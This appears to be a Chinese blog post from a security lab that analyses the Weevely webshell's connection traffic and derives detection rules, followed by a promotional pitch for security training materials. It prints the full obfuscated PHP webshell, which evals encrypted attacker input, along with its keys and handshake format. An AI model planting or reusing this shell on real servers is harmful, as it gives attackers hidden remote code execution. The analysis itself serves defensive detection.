实战Webshell管理工具Weevely检测思路分析

Weevely上线阶段分析篇

一、背景

近日,新华三盾山实验室在实战演练防守中发现一次使用Weevely攻击的事件,攻击者使用混淆的webshell绕过了安全设备检测,成功上传了恶意文件并Getshell。通过查看目标主机中的webshell木马文件,发现其混淆程度较高,通过特征不好检测,现通过分析其上线流量方式寻找有效的识别方法。

Weevely是一款基于Python语言开发的渗透测试工具,主要用于在目标主机上执行远程操作,类似中国菜刀。本篇文章主要介绍Weevely上线流量分析与识别、Weevely后门文件识别、Weevely加解密方法。

想要进一步了解网络安全,学习网络安全知识的小伙伴可以扫描下方二维码~

 

二、客户端源码分析

本段落通过分析Weevely源码,详细介绍Webshell上线交互流量,以及客户端代码实现。

客户端交互认证过程:通过http层通道发送加密信息到服务端,再通过解密服务端回复的信息,从而判断Weevely连接状态是否建立成功,客户端的具体步骤如下:

第一步:Client通过send()函数发送信息。其body字段传输信息形式为:

"t0GP$"Iw`|%yM}:bbb6070c0372HalGcBsTrB7vGn8V/hZM+Kl+4gjmjRAZyxkbcfvsNn4o+/1vBgpTAVVg4owwOS2paOscdfe42fa0db1lpU`}F4|/;_RKd^#。

1701251419_6567095bde32c96fbab03.png!small?1701251424410

1701251428_65670964244d570788816.png!small?1701251432696

第二步:通过代码中utils.sting.sxor()、zlib.compress()、base64.b64encode()加密函数以及channel.send()函数可知,请求中body密文加密字段为 “echo (X);”字样,其中X取值为(11111-99999)的随机数字。通过代码中定义变量可知,POST请求中body字段组成形式如下方所示:

body长度形式为:16(随机字符)+ 12(秘钥)+ len(X) + 12(秘钥)+ 16(随机字符)。

以上分析可知:该处可能存在Weevely工具指纹;为了验证猜想,本文进行了深入的分析验证(第四节详细分析)。

第三步:Client通过解密函数utils.sting.sxor()、zlib.decompress()、base64.b64decode()对接收服务端响应的body字符串进行解密,并判断字符串是否和send()函数发送到服务端的“X”值相同,从而判断客户端与服务端是否能够成功建立通信。

1701251485_6567099d7ee69d27de016.png!small?1701251490122

三、服务端源码分析

Weevely Webshell文件通过各种混淆字符插入、随机变量名以及str_replace()使用,降低了Webshell的指纹特征。如果仔细观察,会发现Webshell文件存在decode、base64、encode等明显函数,较明显的指纹特征为使用了两次str_replace()函数。

原始混淆的Webshell形式如下:

<?php
$Q='inpF2ut"),$mF2)==1) {@ob_stF2art();@eF2val(F2@gzuncF2omF2press(@x(F2@F2base6F2F24_decode($m[F21]),$k)F2));$o=F2@oF2bF2';
$n='){$F2c=sF2tF2rlen($k)F2;F2$l=strlen($t)F2;$F2F2o="";for(F2$i=0;$iF2<$lF2;){F2for($j=0;($F2j<$c&&$i<$lF2);$j+F2+,$F2i++){';
$y='$o.F2=$F2tF2F2{$i}^$k{$j};}}retF2F2urn $o;}ifF2 (@prF2eg_match("/$kh(.F2+)F2$F2kf/",@file_get_conF2teF2nts(F2F2"php://';
$j='$k="e5F25869F2F2f1";$kh="bbbF2607F20cF2F2F20372";$kf="cdfF2e42fa0db1";$pF2="hF2GF2hCrCVUrXyqix5x";fuF2nctionF2 x($t,$k';
$F='_get_contents(F2);@ob_end_F2cleF2an();$r=@base6F24F2_eF2ncode(@x(@gF2zF2compressF2F2F2($o),$k));print("$pF2$kh$r$kf");}';
$z=str_replace('ia','','criaeatiaiae_fiauniaciation');
$O=str_replace('F2','',$j.$n.$y.$Q.$F);
$v=$z('',$O);$v();
?>

通过代码逻辑可以对混淆的Webshell语句进行还原,还原结果如下图所示:

1701251556_656709e4f0e993b210e92.png!small?1701251561665

四、上线通信编码解码分析

1、请求方向字段解码

1701251571_656709f3ccd0f083a1368.png!small?1701251576335

通过反向加解密得到请求body位置加密内容为:“echo(81232);”,其中“81232” 是随机的数字组合(11111-99999)。根据加密的方法可知:当“X”为5个数字相同组合时,其加密后字符串长度为23个字节;当“X”为前四个数字相同或者后四个数字相同组合时,其加密后字符串长度为24个字节;当“X”为其他情况组合时,其加密后字符串长度均为27个字节。根据固定长度计算方法:16(随机字符)+ 12(秘钥)+ len(X) + 12(秘钥)+ 16(随机字符)可知Content-Length值为:83/80/79,此处证明了之前的猜想是成立的。

2、响应方向字段解码

接下来再反推响应body位置加密+base64编码后字符串的长度,进一步确认响应方向Content-Length值。

根据加密的方法可知:当“X”为5个数字相同或前4个数字相同组合时,其加密后的字符串长度为16个字节;当“X”为其他情况组合时,其加密后的字符串长度均为20个字节。根据回应方向固定长度计算方法:16(随机字符)+ 12(秘钥)+ len(X) + 12(秘钥),得到:Content-Length值为60/56。

可知Weevely交互流量中centent-length对应关系如下:

请求中content-length:83/80 对应响应中content-length: 60

请求中content-length:79 对应响应中content-length: 56

根据下图可以推导出随机“X”字符的加密后长度是固定的。

五、Webshell上线报文流量解析

上线流量请求和响应方向特征对比:

1701251595_65670a0b4ba022be276e5.png!small?1701251599902

根据上几节分析可确定Weevely工具特征:

请求body字段为:随机16个字节+12个字节秘钥+echo(X);的加密字符串+12个字节秘钥+16个随机字节。

响应body字段为:随机16个字节+12个字节秘钥(与请求中相同)+请求中X加密字符串+12个字节秘钥(与请求中相同)。

六、防守检测思路

初看通信流量字段信息,好像无法提取检测特征,通过分析一轮之后,通信指纹逐步清晰;因此,可根据本文的分析结果在实际场景应用起来。当存在大量流量报文时,可使用该方法快速的检出Weevely恶意流量,也可在安全检测设备使用该思路检出weevely使用痕迹。该检查思路有利于防守方在攻防演练中高效的判断是否受到Weevely攻击。下面重点介绍该分析的检测逻辑:

1701251604_65670a1460f6f72b63353.png!small?1701251608939

检测流程图

具体描述:

  • 先根据请求content-length值来筛选,并确定请求body特定字段是否符合bash64编码:"t0GP$"Iw`|%yM}:bbb6070c0372Hal+dfjxsYFVAQcO5I1gMXLiNhQcdfe42fa0db1lpU`}F4|/;_RKd^#
  • 提取请求body部分第17位字节到第28位字节以及提取倒数第17位字节到倒数第28位字节数据:"t0GP$"Iw`|%yM}:bbb6070c0372Hal+dfjxsYFVAQcO5I1gMXLiNhQcdfe42fa0db1lpU`}F4|/;_RKd^#
  • 确认响应content-length值。
  • 提取响应body部分第17位字节到第28位字节和倒数12位字节的数据:hGhCrCVUrXyqix5xbbb6070c0372HamGCAILUDNlNjo5Nw==cdfe42fa0db1
  • 判断请求body部分中第17位字节到第28位字节和倒数第17位字节到倒数第28位字节与响应body部分提取的第17位字节到第28位字节以及倒数12位字节匹配是否相等。

题外话

初入计算机行业的人或者大学计算机相关专业毕业生,很多因缺少实战经验,就业处处碰壁。下面我们来看两组数据:

  • 2023届全国高校毕业生预计达到1158万人,就业形势严峻;
  • 国家网络安全宣传周公布的数据显示,到2027年我国网络安全人员缺口将达327万。

一方面是每年应届毕业生就业形势严峻,一方面是网络安全人才百万缺口。

6月9日,麦可思研究2023年版就业蓝皮书(包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》)正式发布。

2022届大学毕业生月收入较高的前10个专业

本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中,本科计算机类专业起薪与2021届基本持平,高职自动化类月收入增长明显,2022届反超铁道运输类专业(5295元)排在第一位。

具体看专业,2022届本科月收入较高的专业是信息安全(7579元)。对比2018届,电子科学与技术、自动化等与人工智能相关的本科专业表现不俗,较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼,已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。

 “没有网络安全就没有国家安全”。当前,网络安全已被提升到国家战略的高度,成为影响国家安全、社会稳定至关重要的因素之一。 

网络安全行业特点

1、就业薪资非常高,涨薪快 2021年猎聘网发布网络安全行业就业薪资行业最高人均33.77万!

 2、人才缺口大,就业机会多

2019年9月18日《中华人民共和国中央人民政府》官方网站发表:我国网络空间安全人才 需求140万人,而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W,现在从事网络安全行业的从业人员只有10W人。

 行业发展空间大,岗位非常多

网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。

从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。

黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

 1.学习路线图 

 攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。

 

 (都打包成一块的了,不能一一展开,总共300多集)

因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。 

 因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。 

 还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。

因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取

 最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

 因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取 

  • 16
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值